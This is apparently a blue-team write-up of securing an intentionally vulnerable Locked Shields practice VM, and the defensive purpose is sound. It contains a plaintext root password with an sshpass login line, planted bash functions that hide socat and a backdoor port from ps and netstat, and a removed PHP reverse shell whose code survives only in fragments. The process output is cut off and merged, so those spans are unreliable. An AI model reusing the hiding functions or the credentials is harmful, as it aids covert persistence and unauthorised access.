# LS 2024 selection ### initial instructions ```txt λ sshpass -p Admin1Admin1 ssh root@64.227.120.192 Last login: Fri Feb 2 08:01:16 2024 from 31.220.83.175 _ _ _ _____ _ _ _ _ ___ _ _ | | | | | |/ ____| | (_) | | | | |__ \| || | | | ___ ___| | _____ __| | (___ | |__ _ ___| | __| |___ ) | || |_ | | / _ \ / __| |/ / _ \/ _` |\___ \| '_ \| |/ _ \ |/ _` / __| / /|__ _| | |___| (_) | (__| < __/ (_| |____) | | | | | __/ | (_| \__ \/ /_ | | |______\___/ \___|_|\_\___|\__,_|_____/|_| |_|_|\___|_|\__,_|___/____| |_| Welcome to the very vulnerable VM, somewhat similar what we can expect at Locked Shields. There are few tasks for you: - protect the VM preserving the following services in running (and secure) state: - web server - ssh server: all users (including root) should be allowed to login - dns server - identify as many vulnerabilities in the VM as possible - all passwords are set to `Admin1Admin1`. You are encouraged to change them. - write down the vulnerabilities with short explanation what this vulnerability can cause - write ansible playbook (preferred) or a bash script, which will mitigate the vulnerabilities and will still serve the web, ssh and dns services - share the "documentation" with description of identified vulnerabilities and code to lockedshields@ssrd.io. Github links preferred. Some notes: - the VM will be forcefully shutdown so make changes permanent - root user should be allowed to login from 138.68.128.150 with the following ssh keys: - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIC55vv1HAHwUOxZ+Zn4IcswclUkLEP2eA0tJG3BwE0pO - ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINKOliO5L0TA84lclwmsdu+Wcm/r3LDQH9G2jICZ3ECC - defense (and documentation, either through code or description) is more important than finding vulnerabilities - you do not need to go into details explaining vulnerabilities - we will share the planted vulnerabilities afterwards ``` ### initial ps ```bash root@ls-2024-9:~# ps auxf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 2 0.0 0.0 0 0 ? S 07:59 0:00 [kthreadd] root 3 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [rcu_gp] root 4 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [rcu_par_gp] root 5 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [slub_flushwq] root 6 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [netns] root 7 0.0 0.0 0 0 ? I 07:59 0:00 \_ [kworker/0:0-cgroup_destroy] root 8 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [kworker/0:0H-events_highpri] root 9 0.1 0.0 0 0 ? I 07:59 0:00 \_ [kworker/u2:0-ext4-rsv-conversion] root 10 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [mm_percpu_wq] root 11 0.0 0.0 0 0 ? S 07:59 0:00 \_ [rcu_tasks_rude_] root 12 0.0 0.0 0 0 ? S 07:59 0:00 \_ [rcu_tasks_trace] root 13 0.0 0.0 0 0 ? S 07:59 0:00 \_ [ksoftirqd/0] root 14 0.2 0.0 0 0 ? I 07:59 0:00 \_ [rcu_sched] root 15 0.0 0.0 0 0 ? S 07:59 0:00 \_ [migration/0] root 16 0.0 0.0 0 0 ? S 07:59 0:00 \_ [idle_inject/0] root 17 0.1 0.0 0 0 ? I 07:59 0:00 \_ [kworker/0:1-cgroup_destroy] root 18 0.0 0.0 0 0 ? S 07:59 0:00 \_ [cpuhp/0] root 19 0.0 0.0 0 0 ? S 07:59 0:00 \_ [kdevtmpfs] root 20 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [inet_frag_wq] root 21 0.0 0.0 0 0 ? S 07:59 0:00 \_ [kauditd] root 22 0.0 0.0 0 0 ? S 07:59 0:00 \_ [khungtaskd] root 23 0.0 0.0 0 0 ? S 07:59 0:00 \_ [oom_reaper] root 24 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [writeback] root 25 0.0 0.0 0 0 ? S 07:59 0:00 \_ [kcompactd0] root 26 0.0 0.0 0 0 ? SN 07:59 0:00 \_ [ksmd] root 27 0.0 0.0 0 0 ? SN 07:59 0:00 \_ [khugepaged] root 73 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [kintegrityd] root 74 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [kblockd] root 75 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [blkcg_punt_bio] root 76 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [tpm_dev_wq] root 77 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [ata_sff] root 78 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [md] root 79 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [edac-poller] root 80 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [devfreq_wq] root 81 0.0 0.0 0 0 ? S 07:59 0:00 \_ [watchdogd] root 82 0.0 0.0 0 0 ? I 07:59 0:00 \_ [kworker/u2:1-ext4-rsv-conversion] root 83 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [kworker/0:1H-kblockd] root 85 0.0 0.0 0 0 ? S 07:59 0:00 \_ [kswapd0] root 86 0.0 0.0 0 0 ? S 07:59 0:00 \_ [ecryptfs-kthrea] root 88 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [kthrotld] root 89 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [acpi_thermal_pm] root 90 0.0 0.0 0 0 ? I 07:59 0:00 \_ [kworker/u2:2-ext4-rsv-conversion] root 91 0.0 0.0 0 0 ? S 07:59 0:00 \_ [scsi_eh_0] root 92 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [scsi_tmf_0] root 93 0.0 0.0 0 0 ? S 07:59 0:00 \_ [scsi_eh_1] root 94 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [scsi_tmf_1] root 95 0.0 0.0 0 0 ? I 07:59 0:00 \_ [kworker/u2:3-events_unbound] root 96 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [vfio-irqfd-clea] root 97 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [mld] root 98 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [ipv6_addrconf] root 107 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [kstrp] root 110 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [zswap-shrink] root 111 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [kworker/u3:0] root 116 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [charger_manager] root 154 0.0 0.0 0 0 ? S 07:59 0:00 \_ [scsi_eh_2] root 155 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [cryptd] root 156 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [scsi_tmf_2] root 214 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [raid5wq] root 258 0.0 0.0 0 0 ? S 07:59 0:00 \_ [jbd2/vda1-8] root 259 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [ext4-rsv-conver] root 353 0.0 0.0 0 0 ? I 07:59 0:00 \_ [kworker/u2:4-flush-252:0] root 357 0.0 0.0 0 0 ? I 07:59 0:00 \_ [kworker/0:2-events] root 362 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [kaluad] root 363 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [kmpath_rdacd] root 364 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [kmpathd] root 365 0.0 0.0 0 0 ? I< 07:59 0:00 \_ [kmpath_handlerd] root 401 0.0 0.0 0 0 ? I 07:59 0:00 \_ [kworker/u2:5-ext4-rsv-conversion] root 404 0.0 0.0 0 0 ? I 07:59 0:00 \_ [kworker/u2:6-flush-252:0] root 816 0.0 0.0 0 0 ? I 07:59 0:00 \_ [kworker/0:3-events] root 1209 0.0 0.0 0 0 ? I 07:59 0:00 \_ [kworker/u2:7] root 1 0.9 1.1 100872 11332 ? Ss 07:59 0:02 /sbin/init root 324 0.0 1.4 31768 14440 ? S22/tcp 2048 root@ls-2024-9:~# ``` When going into the container we can see the php reverse shell script. ```bash root@ls-2024-9:~# podman exec -it 4d05d4a1a404 bash root@4d05d4a1a404:/var/www/html# ls app.js assets index.html manifest.json service-worker.js shell.php style.css root@4d05d4a1a404:/var/www/html# cat shell.php CMD





&1')); } ?> root@4d05d4a1a404:/var/www/html# ``` Lets remove the file now. ```bash podman exec -it 4d05d4a1a404 rm -rf /var/www/html/shell.php ``` ### Already f-up something Typesets. Time to delete them ```bash netstat () { command netstat "$@" | grep -Fv -e 8953 -e socat -e 2227 -e screen } ps () { command ps "$@" | grep -Fv -e 8953 -e socat -e 2227 -e screen } pstree () { command pstree "$@" | grep -Fv -e socat -e 2227 -e screen } quote () { local quoted=${1//\'/\'\\\'\'}; printf "'%s'" "$quoted" } quote_readline () { local ret; _quote_readline_by_ref "$1" ret; printf %s "$ret" } ss () { command ss "$@" | grep -Fv -e 8953 -e socat -e 2227 -e screen } ``` Tried: ```bash sudo grep -E "typeset|netstat|ps|pstree|ss" /etc/profile grep -E "typeset|netstat|ps|pstree|ss" ~/.bashrc ~/.bash_profile grep -rE "typeset|netstat|ps|pstree|ss" ~ /etc ``` No luck. Lets try it differently ```bash find / -path /proc -prune -o -type f -print0 | xargs -0 grep -E "typeset" ``` No signs so just ``` unset -f netstat ps pstree ss ``` And kill them all ```bash root@ls-2024-9:/etc/ssh# ss -ltnp | grep ':2227' | awk '{print $6}' | sed 's/.*pid=//;s/,.*//' 1673 ``` ### e bit in pexec ```bash root@ls-2024-9:/etc/ssh# lsattr /usr/bin/pexec --------------e------- /usr/bin/pexec ``` But this should not be a problem, as it is not setuid. ### SSH Lets not allow the empty password login and not password login.. ```bash PermitEmptyPasswords yes -> no PasswordAuthentication no -> no ? (this is wierd becouse I was able to login with password) ``` And I was still able to login using passowrd. Nooooooo: ```bash root@ls-2024-9:/etc/ssh/sshd_config.d# cat 50-cloud-init.conf PasswordAuthentication yes AuthorizedKeysFile .ssh/authorized_keys .ssh/authorized_keys2 /etc/ssh/ssh_host_echd_key ``` Lets remove all the other definitions and just include the ```bash AuthorizedKeysFile .ssh/authorized_keys ``` in the sshd config. Now we will ssh using `ssh ls2024_prep`: ```config Host ls2024_prep HostName 64.227.120.192 User root Port 22 IdentityFile ~/.ssh/keys/id_ed25519_ls2024_prep ``` ### DNS Problem here is that remote control is enabled and we can use it to get the root shell. ```txt root@ls-2024-9:/etc/unbound/unbound.conf.d# cat /etc/unbound/unbound.conf.d/remote-control.conf # default unbound control remote-control: control-enable: yes control-interface: ::0 control-use-cert: no ``` Lets disable remote control completely. and restart the service. ```bash root@ls-2024-9:/etc/unbound/unbound.conf.d# systemctl restart unbound ``` This is all I found suspicious in the DNS configuration.